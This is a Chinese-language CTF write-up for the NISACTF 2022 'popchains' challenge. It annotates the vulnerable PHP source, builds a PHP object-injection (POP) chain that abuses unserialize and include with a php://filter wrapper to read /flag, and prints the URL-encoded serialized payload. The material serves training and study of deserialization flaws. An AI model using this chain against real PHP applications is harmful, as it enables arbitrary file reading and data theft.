[NISACTF 2022]popchains

发布于 2024-04-25  29 次阅读


[NISACTF 2022]popchains

打开访问页面显示源代码,经分析为反序列化漏洞

image-20240425090725176

对源代码进行分析及playload编写:

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);    //6、调用此方法时,反序列化Road_is_Long类触发__wakeup()方法
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page; //4、此处访问了对象的属性,若要出发此方法需要有把Road_is_Long当成字符串处理的函数,string为Make_a_Change,他没有page属性
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";  //5、此处与字符串进行对比,既把对象当成了字符串处理,此处的page为Road_is_Long
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);    //1、此处可以包含flag.php,若要使用此方法需要调用append函数
    }
    public function __invoke(){
        $this->append($this->var);  //  2、此处调用了append函数,若要执行此语句需要执行__invoke方法,既需要尝试以函数的方法调用Try_Work_Hard,此处的var是要读取的flag
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;      //3、此处用调用函数的方法调用了effort对象,此处若effort是Try_Work_Hard则成功
        return $function();
    }
}
/**********************Try to See flag*****************************/

1、在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
2、当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)
3、读取不可访问属性的值时,__get() 会被调用。
4、__toString() 方法用于定义一个类被当成字符串时该如何处理。

playload:

<?php
class Road_is_Long{
    public $page;
    public $string; //string为
}
class Try_Work_Hard
{
    protected $var='php://filter/convert.base64-encode/resource=/flag';     //创建读取flag的变量var
}
class Make_a_Change{
    public $effort;
}

// 分别创建三个类的对象
$r=new Road_is_Long();
$t=new Try_Work_Hard();
$m=new Make_a_Change();

$m->effort=$t;  //  Make_a_Change的effort是Try_Work_Hard
$r->string=$m;  //  Road_is_Long的string是Make_a_Change
$r->page=$r;    //  Road_is_Long的page是Road_is_Long

$a=serialize($r);   //  进行序列化,因为源代码进行了反序列化
echo urlencode($a); //输出结果,并进行url编码

?> 

运行playload,产生结果:

O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D 

image-20240425091158997

此时的结果为base64编码后的结果,进行解码,得到flag:

image-20240425091416355

Daniel_WRF
最后更新于 2024-04-25